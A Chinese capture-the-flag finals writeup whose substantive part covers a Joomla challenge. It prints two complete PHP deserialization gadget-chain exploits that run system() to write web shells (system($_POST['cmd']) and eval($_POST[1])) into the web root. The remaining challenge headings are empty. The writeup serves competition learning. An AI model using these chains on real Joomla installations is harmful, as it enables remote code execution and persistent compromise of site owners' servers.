Turker
Turker
Published on 2025-11-30 / 6 Visits
0

强网拟态 2025 Finals Writeup

强网拟态 2025 Finals Writeup

Lilac 1st👑

Web

Joomla!

Joomla 最新版的反序列化,挖就完事了。实际上我们挖到的甚至不是预期解。
链子:

unserialize →
  DatabaseDriver::$dispatcher →
    Dispatcher::$listeners[event] →
      callback = [$resource, 'getInstance'] →
        ContainerResource::getInstance() →
          ($this->factory)($this->container)

poc:

<?php

namespace Joomla\Database {
    class DatabaseDriver {
        private $dispatcher; 
        protected $connection = 1; 
      
        public function __construct($dispatcher) {
            $this->dispatcher = $dispatcher;
        }
    }
}

namespace Joomla\Database\Mysqli {
    use Joomla\Database\DatabaseDriver;
    class MysqliDriver extends DatabaseDriver {}
}

namespace Joomla\Event {
    class Dispatcher {
        protected $listeners = [];
      
        public function __construct($listeners) {
            $this->listeners = $listeners;
        }
    }
}

namespace Joomla\DI {
    class ContainerResource {
        private $container;
        private $factory;
        private $shared = false;
        private $protected = false;
      
        public function __construct($command, $arg) {
            $this->factory = $command;
            $this->container = $arg;
            $this->shared = false;
        }
    }
}

namespace {
    use Joomla\Database\Mysqli\MysqliDriver;
    use Joomla\Event\Dispatcher;
    use Joomla\DI\ContainerResource;
  
    $command = 'system';
    $arg = 'echo "<?php system(\$_POST[\'cmd\']); ?>" > /var/www/html/shell1.php';
    $resource = new ContainerResource($command, $arg);
    $eventName = 'onAfterDisconnect'; 
    $listeners = [
        $eventName => [
            [$resource, 'getInstance']
        ]
    ];
  
    $dispatcher = new Dispatcher($listeners);
    $driver = new MysqliDriver($dispatcher);
    echo base64_encode(serialize($driver));
}


而预期解是:

<?php

namespace Joomla\Filesystem;

use Laminas\Diactoros\CallbackStream;

class Stream
{
  protected $processingmethod;
  protected $fh = 1;
  public function __construct()
  {
    $this->processingmethod = new CallbackStream();    //__toString
  }
}



namespace Laminas\Diactoros;

use Joomla\CMS\Document\HtmlDocument;

class CallbackStream
{
  protected $callback;
  public function __construct()
  {
    $this->callback = [new HtmlDocument(), "render"];     //__invoke或者任意无参方法。
  }
}


namespace Joomla\CMS\Document;

use Joomla\CMS\WebAsset\WebAssetManager;

class HtmlDocument extends Document
{
  protected $_template = 'Infernity';
  protected $_template_tags = [
    "anything" => [
      "type" => "Scripts",
      "name" => "anything",
      "attribs" => "anything"
    ]
  ];
  public function __construct()
  {
    $this->_type = "Html";
    $this->webAssetManager = new WebAssetManager();
    $this->factory = new Factory();
  }
}
class Document   //父类
{
  public $_type;
  protected $factory;
  protected $webAssetManager;
}
class Factory
{
}     //工厂类



namespace Joomla\CMS\WebAsset;

use Joomla\CMS\Cache\Controller\CallbackController;

class WebAssetManager
{
  protected $activeAssets = [];
  protected $registry;
  public function __construct()
  {
    $this->activeAssets = ["system" => ["echo '<?php eval(\$_POST[1]);'>1.php" => 1]];      //RCE,方法命令自定义
    $this->registry = new CallbackController();
  }
}

namespace Joomla\CMS\Cache\Controller;

class CallbackController
{
}


namespace Joomla\Filesystem;

$a = new Stream();
echo base64_encode(serialize($a));

Wuwa

Ezdatart

awd_rasp

Misc

标准的绝密压缩

泄露的时间与电码

猫咪电台

返璞归真